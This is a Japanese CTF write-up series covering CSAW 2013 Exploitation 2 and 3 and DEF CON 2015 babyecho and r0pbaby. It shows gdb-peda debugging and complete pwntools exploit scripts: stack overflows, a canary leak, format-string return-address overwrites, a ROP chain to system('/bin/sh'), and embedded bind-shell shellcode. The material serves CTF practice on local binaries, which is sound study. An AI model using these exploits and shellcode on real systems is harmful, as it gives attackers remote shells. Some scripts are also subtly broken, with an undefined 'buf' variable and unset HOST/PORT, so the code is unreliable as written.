Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffca9c --> 0x0 
arg[2]: 0xffffffff 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffc9e0 --> 0x4 
0004| 0xffffc9e4 --> 0xffffca9c --> 0x0 
0008| 0xffffc9e8 --> 0xffffffff 
0012| 0xffffc9ec --> 0x0 
0016| 0xffffc9f0 --> 0x801 
0020| 0xffffc9f4 --> 0x0 
0024| 0xffffc9f8 --> 0x3a9 
0028| 0xffffc9fc --> 0x5203f5 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048f7a in ?? ()
gdb-peda$ 

そしてsize分recvするような関数をここで呼んでいるため、ここでBOFを起こさせて、shellcodeを流し込むようなコードをかけないいのかと思い、とりあえず、returnまでの位置を調べて一回適当な文字列で試してみた。

 [----------------------------------registers-----------------------------------]
EAX: 0x1 
EBX: 0xffffca1c ("diary1.txt")
ECX: 0x0 
EDX: 0xf7fbb000 --> 0x1aada8 
ESI: 0x0 
EDI: 0xffffca9c ('A' <repeats 200 times>...)
EBP: 0xffffceb8 ("EEEEFFFF\n")
ESP: 0xffffceb0 ("CCCCDDDDEEEEFFFF\n")
EIP: 0x8049110 (pop    ebx)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8049103:   mov    eax,0x1
   0x8049108:   jmp    0x804910a
   0x804910a:   add    esp,0x4d0
=> 0x8049110:   pop    ebx
   0x8049111:   pop    edi
   0x8049112:   pop    ebp
   0x8049113:   ret    
   0x8049114:   push   ebp
[------------------------------------stack-------------------------------------]
0000| 0xffffceb0 ("CCCCDDDDEEEEFFFF\n")
0004| 0xffffceb4 ("DDDDEEEEFFFF\n")
0008| 0xffffceb8 ("EEEEFFFF\n")
0012| 0xffffcebc ("FFFF\n")
0016| 0xffffcec0 --> 0xa ('\n')
0020| 0xffffcec4 --> 0xffffffff 
0024| 0xffffcec8 --> 0xc ('\x0c')
0028| 0xffffcecc --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08049110 in ?? ()
gdb-peda$ 

どうやら、1024 byte分Bufferがあった後に20 byte分 paddingがあって、pop三回分した後でreturnアドレスが来ていることが分かった。
コードをべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
elf = ELF('./fil_chal')
recv_addr = elf.plt['recv']
bss_addr = elf.get_section_by_name('.bss').header['sh_addr']
HOST = 'localhost'
PORT = 34266

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./fil_chal')
        print "[+] connect to local\n"

shellcode = ("\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\x66\xb3\x01\x51"
          "\x6a\x06\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0"
          "\x66\xb3\x02\x52\x66\x68\x7a\x69\x66\x53\x89\xe1\x6a"
          "\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x6a\x01"
          "\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89"
          "\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f"
          "\xcd\x80\x75\xf8\x31\xc0\x52\x68\x6e\x2f\x73\x68\x68"
          "\x2f\x2f\x62\x69\x89\xe3\x52\x53\x89\xe1\x52\x89\xe2"
          "\xb0\x0b\xcd\x80")
conn.recvuntil('UserName: ')
conn.send('csaw2013\n')
conn.recvuntil('Password: ')
conn.send('S1mplePWD\n')
conn.recvuntil('Entry Info: ')
conn.send('-1\n')
payload = ''
payload += 'A' * 1024 # buffer
payload += 'B' * 20   # padding
payload += 'C' * 12   # pop * 3
# recv(4, bss_addr, sizeof(shellcode), 0)
# return address is bss_addr
payload += p32(recv_addr) + p32(bss_addr) + p32(4) + p32(bss_addr) + p32(len(shellcode)) + p32(0) 
payload += '\n'
conn.send(payload)
time.sleep(2)
conn.send(shellcode)

shellcodeはshell-stormから引っ張ってきた。Bind Shellで31337 portで待ち受けるようになっている。肝心のコードだが、今回はbufferのアドレスがよくわからなかったのでPIEが無効になっていることを利用してrecv関数を使って.bssセクション(初期化されていない変数がおいてあるセクション)を利用してここにshellcodeを送ってあげて、recvのreturnアドレスを.bssセクションの先頭に設定しようぜ!という作戦でいった。

shima@chino:~/workspace/pwn_list_baby/Exploitation3$ netstat -na |grep 'LISTEN'
tcp        0      0 0.0.0.0:31337           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:34266           0.0.0.0:*               LISTEN    

shima@chino:~/workspace/pwn_list_baby/Exploitation3$ nc localhost 31337
whoami
shima

[総評] recv作戦の良い練習になった。

CSAW CTF Qualification Round 2013 Exploitation2

pwn list pwn list baby

この問題はいわゆるfork-server型と言われるようなpwnだった。fork-server型とは、socket→bind→listen→accept→forkの順番で行われるserverのことである。
これは、xinetd型と言われるserverとは違い、標準入出力とは繋がっていないのである。socketディスクリプタを使用して入出力が行われるため、system(/bin/sh)だけを起動しても全く意味がないのである。標準入出力にも自分が送っている内容を影響させるにはdup2などを使って自分が使っているsocketディスクリプタを繋げてあげる必要がある。
私は最初、これが全く意味が分からずに詰んだ記憶しかないため、自分が攻撃するバイナリがどういったserverなのかを把握することが必要である。
ではさっそくみてみよう!

shima@chino:~/workspace/pwn_list_baby/Exploitation2$ nc localhost 31338
����ﳱGWelcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:

なんか最初に変な文字列が出力された後にWelcomeの文字列が来てる…。ここら辺はデバッグしながら見ていったほうがいいかな。その後で「ここに攻撃コード打ってね!」といかにもの奴が存在している。早速適当なものを打ってみようかなと思って、FSB、負数、BoFを試したが反応がなかった。私が思う限り、bufferが想定以上に取られているか、ある一定以上の文字列を受け取らないようにしているか、特定の文字列しか受け付けてないかなどの可能性を考えながらデバッグで見ることにした。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

なんでもありみたいな感じですね…今回は素直にshellcode使ってよさそう。
次は例の変な文字列を見てみようかな

[-------------------------------------code-------------------------------------]
   0x8048881 <handle+116>:   mov    DWORD PTR [esp+0x4],eax
   0x8048885 <handle+120>:   mov    eax,DWORD PTR [ebp+0x8]
   0x8048888 <handle+123>:   mov    DWORD PTR [esp],eax
=> 0x804888b <handle+126>:   call   0x8048720 <send@plt>
   0x8048890 <handle+131>:   mov    DWORD PTR [esp+0xc],0x0
   0x8048898 <handle+139>:   mov    DWORD PTR [esp+0x8],0x4
   0x80488a0 <handle+147>:   lea    eax,[ebp-0xc]
   0x80488a3 <handle+150>:   mov    DWORD PTR [esp+0x4],eax
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffc77c (0xffffc77c)
arg[2]: 0x4 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffc760 --> 0x4 
0004| 0xffffc764 --> 0xffffc77c (0xffffc77c)
0008| 0xffffc768 --> 0x4 
0012| 0xffffc76c --> 0x0 
0016| 0xffffc770 --> 0x0 
0020| 0xffffc774 --> 0x0 
0024| 0xffffc778 --> 0x0 
0028| 0xffffc77c (0xffffc77c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, 0x0804888b in handle (newsock=0x4) at exploit2.c:35
35 in exploit2.c
gdb-peda$ 
[-------------------------------------code-------------------------------------]
   0x80488a3 <handle+150>:   mov    DWORD PTR [esp+0x4],eax
   0x80488a7 <handle+154>:   mov    eax,DWORD PTR [ebp+0x8]
   0x80488aa <handle+157>:   mov    DWORD PTR [esp],eax
=> 0x80488ad <handle+160>:   call   0x8048720 <send@plt>
   0x80488b2 <handle+165>:   mov    DWORD PTR [esp+0xc],0x0
   0x80488ba <handle+173>:   mov    DWORD PTR [esp+0x8],0x63
   0x80488c2 <handle+181>:   mov    DWORD PTR [esp+0x4],0x8048cf0
   0x80488ca <handle+189>:   mov    eax,DWORD PTR [ebp+0x8]
Guessed arguments:
arg[0]: 0x4 
arg[1]: 0xffffcf7c --> 0x3ef8e649 
arg[2]: 0x4 
arg[3]: 0x0 
[------------------------------------stack-------------------------------------]
0000| 0xffffc760 --> 0x4 
0004| 0xffffc764 --> 0xffffcf7c --> 0x3ef8e649 
0008| 0xffffc768 --> 0x4 
0012| 0xffffc76c --> 0x0 
0016| 0xffffc770 --> 0x0 
0020| 0xffffc774 --> 0x0 
0024| 0xffffc778 --> 0x0 
0028| 0xffffc77c (0xffffc77c)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x080488ad 36 in exploit2.c
gdb-peda$ 

重要な部分だけざっくりと抜粋してみた。どうやら最初の4byteはbufferのアドレス、次の4byteは自前で実装しているsecret(canary)だった。このsecretはreturnする前にstackが壊れていなければreturnするような仕組みになっていた。さらに驚くべきことにbuffer自身は0x800(2048)byteあり、とても大きいことが分かった。bufferから0x800先にsecretがいて、popを三回した後にreturnアドレスが来ていることが分かったため、これらの情報をもとにコードを組んでみた。
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log
HOST = "localhost"
PORT = 31338
conn = None

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./exploit2')
        print "[+] connect to local\n"

buffer_addr = conn.recv(4)
shellcode="\x6a\x66\x58\x6a\x01\x5b\x31\xf6\x56\x53\x6a\x02\x89\xe1\xcd\x80\x5f\x97\x93\xb0\x66\x56\x66\x68\x05\x39\x66\x53\x89\xe1\x6a\x10\x51\x57\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x56\x57\x89\xe1\xcd\x80\xb0\x66\x43\x56\x56\x57\x89\xe1\xcd\x80\x59\x59\xb1\x02\x93\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x41\x89\xca\xcd\x80"

nop1 = '\x90' * (0x800 - len(shellcode))
secret = conn.recv(4)
nop2 = '\x90' * 0xc
payload = shellcode + nop1 + secret + nop2  + buffer_addr 

conn.recvuntil('here:')
conn.send(payload)

今回使用したshellcodeはshell-stormから引っ張てきたBind shellと言われるもので、portとしては1337で待ち受けるようなshellcodeである。あとはこのコードを実行した後にncコマンドで1337portに繋げてあげればshellが立ち上がっているため、適当なコマンドを打ってあげればよい。

shima@chino:~/workspace/pwn_list_baby/Exploitation2$ netstat -na |grep 'LISTEN'
tcp        0      0 0.0.0.0:31338           0.0.0.0:*               LISTEN     
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:1337            0.0.0.0:*               LISTEN     

shima@chino:~/workspace/pwn_list_baby/Exploitation2$ nc localhost 1337
whoami
shima

[総評] fork-server入門としてはいい問題

DEF CON CTF Qualifier 2015 babyecho

pwn list pwn list baby

echoだし、自分の打った文字が返ってくるのかな?と思って実行させてみた。すると・・・

shima@chino:~/workspace/pwn_list_baby/babyecho$ ./babyecho
Reading 13 bytes
AAAAAAAAAAAAAAAAAAAAAAAAAAAa
AAAAAAAAAAAA
Reading 13 bytes
AAAAAAAAAAAA
Reading 13 bytes
Aa
Reading 13 bytes

入力した文字は13byteまでしか受け付けてないみたい。しかし、打った文字分だけ出力しているのでどこかのタイミングで区切っているのかもしれない・・・次はFSB(Format String Bug)があるか試してみよう

shima@chino:~/workspace/pwn_list_baby/babyecho$ ./babyecho
Reading 13 bytes
%08x
0000000d
Reading 13 bytes

あっ・・・できた(安堵)今回はこれを利用しながら、うまく攻撃すればいいのかな?とりあえず、デバッグしてみよう!!

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial
gdb-peda$ 

あっ、なんでもありなんですね。
方針としては、まず何とかして入力できる文字を増やしたい。(少なすぎィ!)stack上のどこかにsizeを格納してるはずなので、そこを変更したい。変更する方法としてはFSBを使うのがいいんだけど、さすがに入力文字が足りないかもしれないので、デバッグしてから考える。
そしてshellの起動には、今回はshellcode入れる感じでいいのかな?使ってる関数を調べてみたけど、ぐちゃぐちゃだったため、ライブラリを使って何かをするといった問題ではなさそう。普通にreturn addressを書き換える感じなのかな?
もしそうだとしたら、無限ループしてるから条件を抜けるような設定をしないといけないな。ずっとループしてたし
あとは呼び出してる関数をshellcodeを書き換えるとかかな。・・・ネックになるのは関数をどう特定するかなんだけど。 うむ、それを含めてデバッグしてみるか。最初に気になったのはこれ!

-------------------------------------code-------------------------------------]
   0x8048faf:   call   0x806cb50
   0x8048fb4:   jmp    0x804902c
   0x8048fb6:   mov    eax,0x3ff
=> 0x8048fbb:   cmp    DWORD PTR [esp+0x10],0x3ff
   0x8048fc3:   cmovle eax,DWORD PTR [esp+0x10]
   0x8048fc8:   mov    DWORD PTR [esp+0x10],eax
   0x8048fcc:   mov    eax,DWORD PTR [esp+0x10]
   0x8048fd0:   mov    DWORD PTR [esp+0x4],eax
[------------------------------------stack-------------------------------------]
0000| 0xffffcc90 --> 0x14 
0004| 0xffffcc94 --> 0xd ('\r')
0008| 0xffffcc98 --> 0xa ('\n')
0012| 0xffffcc9c --> 0x0 
0016| 0xffffcca0 --> 0xd ('\r')
0020| 0xffffcca4 --> 0xffffccac ("AAAA")
0024| 0xffffcca8 --> 0x0 
0028| 0xffffccac ("AAAA")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 7, 0x08048fbb in ?? ()

どうやら、sizeと3FF(1023)と比べてあとに1023以下であれば0xd(13)をsize入れるような動きをしていた。そして、1023よりおおきかったらsizeに1023を入れるような動きをしていた。つまり、FSBで大きさを1023より大きくしてあげればいいのかな?
しかし、ここで問題になるのが、stackのアドレスである。まず、最初のFSBでstackのアドレスをleakさせてから、次のFSBでsizeの大きさを変える。
とりあえず、printfされる前のstackの状況を見てみよう!

gdb-peda$ x/30wx $esp
0xffffcc90:    0xffffccac 0x0000000d 0x0000000a 0x00000000
0xffffcca0:    0x0000000d 0xffffccac 0x00000000 0x41414141

indexが5のときにどうやら入力したbufferのaddressが入っているらしい。ここからleakして様々な値をoffsetから求めることができそう。
そう思ってデバッグをしてたら、ほかにも発見した。

[-------------------------------------code-------------------------------------]
   0x804901b:   call   0x804fde0
   0x8049020:   mov    DWORD PTR [esp],0x14
   0x8049027:   call   0x806cb50
=> 0x804902c:   cmp    DWORD PTR [esp+0x18],0x0
   0x8049031:   je     0x8048fb6
   0x8049033:   mov    eax,0x0
   0x8049038:   mov    edx,DWORD PTR [esp+0x41c]
   0x804903f:   xor    edx,DWORD PTR gs:0x14
[------------------------------------stack-------------------------------------]
0000| 0xffffcc90 --> 0x14 
0004| 0xffffcc94 --> 0x8048eb1 (push   ebp)
0008| 0xffffcc98 --> 0x2 
0012| 0xffffcc9c --> 0x0 
0016| 0xffffcca0 --> 0xd ('\r')
0020| 0xffffcca4 --> 0xffffccac --> 0x0 
0024| 0xffffcca8 --> 0x0 
0028| 0xffffccac --> 0x0 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 8, 0x0804902c in ?? ()

最初は気づかなかったが、どうやら無限ループを抜ける処理らしい。stackのある場所(esp+0x18)の中身が0であれば無限ループするようになっていた。そして、これが0でなかったらreturnするようになっていた。returnするときにstackが壊れているかどうか見ていた。つまりstack overflowはできないような仕組みになっている。
これからをまとめると以下のようにprintf直前のstackの中身はなっていた。

        esp+0x10 user input size
index 5 esp+0x14 user input address
        esp+0x18 無限ループflag
index 7 esp+0x1c user input values
        esp+0x42c return address

これからを使ってコードを書いてみよう!
コードべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='i386')
context.log_level = 'debug' # output verbose log

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"

else:
        conn = process('./babyecho')
        print "[+] connect to local\n"

shellcode ="\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" 
index = 7
print len(shellcode)

#first
conn.send("%5$08x\n")
conn.recvuntil("\n")
buffer_addr = int(conn.recvuntil("\n"),16)# esp + 0x1c
size_addr = buffer_addr - 0xc + 1         # esp + 0x10
flag_addr = buffer_addr - 4               # esp + 0x18
ret_addr = buffer_addr + 0x410            # esp + 0x42c

#second
payload = p32(size_addr)
payload += '%%%d$hhn' % (index)
payload += '\n'
conn.send(payload)
conn.recvuntil('Reading 1023 bytes\n')

#third
shellcode_addr = buffer_addr + 0xc

payload = p32(flag_addr)
payload += p32(ret_addr)
payload += p32(ret_addr+2)
payload += shellcode

fsb_ret2 = (u16(p32(shellcode_addr)[2:4]) - u16(p32(shellcode_addr)[0:2]) - 1) % 0x10000 + 1
fsb_ret1 = (u16(p32(shellcode_addr)[0:2]) - len(payload) - 1) % 0x10000 + 1

payload += '%%%d$hhn' % (index)
payload += '%%%dc%%%d$hn' % ( fsb_ret1, index + 1)
payload += '%%%dc%%%d$hn' % ( fsb_ret2, index + 2)
payload += '\n'
conn.send(payload)
conn.interactive()

まず最初のFSBでそれぞれのアドレスをleakさせる。二回目のFSBでsizeを変更する。
この二回目のFSBだが、FSBするときに書き換えるアドレス指定の4byte分すでに出力しているため、これを利用している
そして三回目のFSBで無限ループを抜ける処理をした後に、return addressをshellcodeのaddressに書き換える。ようなコードの書き方をしている。
無限ループのフラグは0以外なら何でも抜けるような処理をしているので適当な数字で書き換えてる・・・相変わらずソース汚い(確信)

DEF CON CTF Qualifier 2015 r0pbaby

pwn list pwn list baby

問題の名前から「ROPさせてshellをとるような問題だろうか」という予想を立てながら解くような問題だった。CTFはやはりこのようなヒントがあるというのがやっぱりいいなと思った。ということでさっそく実行してみた・・・

Enter bytes to send (max 1024): -8
Invalid amount.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

どうやらプログラム的にはlibcのアドレス、libcのライブラリ関数、ROPするためのbuffer、終了の数字で構成されていた。
ある一定の時間入力されないで放置されているとプログラムを強制的に終了させるようなシグナルを送るような設定がされていた。
さっそくsystemの場所求めてみようぜ!

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 2
Enter symbol: system
Symbol system: 0x00007FFFF7857590
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

私のローカルの環境ではlibcのsystem関数の場所が正確に表示されていたため、ここからlibc baseを求めて/bin/shを求めることができるため、shellを起動させることは問題なさそうだった。
さて、ここからが、本題だ!

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): -8
Invalid amount.
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 

さっそく負数をいれてみたけど、はじかれました。送るためのsizeを指定した後で送るための文字列を指定するんだけど・・・負数は対策済みみたい。
うーむ、とりあえず格納される場所とreturnの場所を調べてみるか。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : ENABLED
NX        : ENABLED
PIE       : disabled
RELRO     : disabled 

0x7fffffffdec0 ("AAAAAAAAE/\203\367\377\177")

gdb-peda$ x/100gx $rsp
0x7fffffffdec0:    0x4141414141414141 0x00007ffff7832f45

どうやら、Bad,choiceまたはMenuのExitからreturnに飛ぶことができるような動きを見せていた。格納される場所としてはreturnアドレスの前。SSPは無効になっているらしく。stackをチェックするような関数も存在しなかった。 しかし、このためした段階でsizeを8,AAAAAAAA\nの合計9文字を送ったときはreturnアドレスが書き換わっている様子はなかった。
どうやら、指定したsizeを超えた文字を送らないような処理をしているらしい。(あくまで予想)
そうであれば、sizeを17に指定して文字を改行文字を含めて送ってあげればどうなるだろう・・・

Welcome to an easy Return Oriented Programming challenge...
Menu:
1) Get libc address
2) Get address of a libc function
3) Nom nom r0p buffer to stack
4) Exit
: 3
Enter bytes to send (max 1024): 17
AAAAAAAABBBBBBBB

[-------------------------------------code-------------------------------------]
   0x555555554eac:  pop    r13
   0x555555554eae:  pop    r14
   0x555555554eb0:  pop    r15
=> 0x555555554eb2:  pop    rbp
   0x555555554eb3:  ret    
   0x555555554eb4:  nop    WORD PTR cs:[rax+rax*1+0x0]
   0x555555554ebe:  xchg   ax,ax
   0x555555554ec0:  push   r15
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffdec0 ("AAAAAAAABBBBBBBB\n")
0008| 0x7fffffffdec8 ("BBBBBBBB\n")
0016| 0x7fffffffded0 --> 0xa ('\n')
0024| 0x7fffffffded8 --> 0x7fffffffdfa8 --> 0x7fffffffe305 ("/home/shima/workspace/pwn_list_baby/r0pbaby/r0pbaby")
0032| 0x7fffffffdee0 --> 0x100000000 
0040| 0x7fffffffdee8 --> 0x555555554c46 (push   rbp)
0048| 0x7fffffffdef0 --> 0x0 
0056| 0x7fffffffdef8 --> 0x5d204955a0ad15d6 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value

Breakpoint 4, 0x0000555555554eb2 in ?? ()
gdb-peda$ x/100gx $rsp
0x7fffffffdec0:    0x4141414141414141 0x4242424242424242

よっしゃ!(゚∀゚)キタコレ!!書き換わったぞい!
あとはsystemに飛ばすだけ。ROPをするんですが、必要なコードとしてsystemの引数を設定するためにrdiに/bin/shを入れるような命令(pop rdi)が必要になってくる。そういうわけで、例のツール使って探そう。

shima@chino:~/workspace/pwn_list_baby/r0pbaby$ rp++ -f /lib/x86_64-linux-gnu/libc.so.6 -r 1 --unique| grep "pop rdi"
0x000fa37a: pop rdi ; call rax ;  (1 found)
0x000830b8: pop rdi ; jmp rax ;  (2 found)
0x00103f12: pop rdi ; rep ret  ;  (2 found)
0x00022b9a: pop rdi ; ret  ;  (506 found)
0x00116d5d: pop rdi ; retn 0x002A ;  (1 found)

上から4番目にいいものがありますねぇ。あとはlibc baseとこのpop命令のオフセットを足してあげれば終了
コードをべちょー

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug' # output verbose log
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc_system = elf.symbols['system']
libc_binsh = next(elf.search("/bin/sh"))
rop_offset = 0x00022b9a

if len(sys.argv) > 1 and sys.argv[1] == 'r':
        conn = remote(HOST, PORT)
        print "[+] connect to server\n"
else:
        conn = process('./r0pbaby')
        print "[+] connect to local\n"

log.info('system info leak')
conn.recvuntil('4) Exit\n: ')
log.info('send 2')
conn.send('2\n')
conn.recvuntil('Enter symbol: ')
log.info('send system')
conn.send('system\n')
conn.recvuntil('Symbol system: ')

system_addr  = int(conn.read(18), 16)
libc_base = system_addr - libc_system
binsh_addr = libc_base + libc_binsh
rop = libc_base + rop_offset

print "[+] libc_base = %016x" % libc_base
print "[+] system_addr = %016x" % system_addr
print "[+] binsh_addr = %016x" % binsh_addr
print "[+] rop_addr = %016x" % rop

log.info('write to return address')
conn.recvuntil('4) Exit\n: ')
log.info('send 3')
conn.send('3\n')
conn.recvuntil('Enter bytes to send (max 1024): ')



# /bin/sh into rdi
payload = 'A' * 8
payload += pack(rop)
payload += pack(binsh_addr)
payload += pack(system_addr)

# len(payload) + 1 is payload + \n
conn.send('%d\n'% (len(payload) + 1))
conn.send(buf+'\n')
conn.send('4\n')
conn.interactive()

コード自体は今まで説明してきた通りのことしかやってない。
[総評] ROPは大切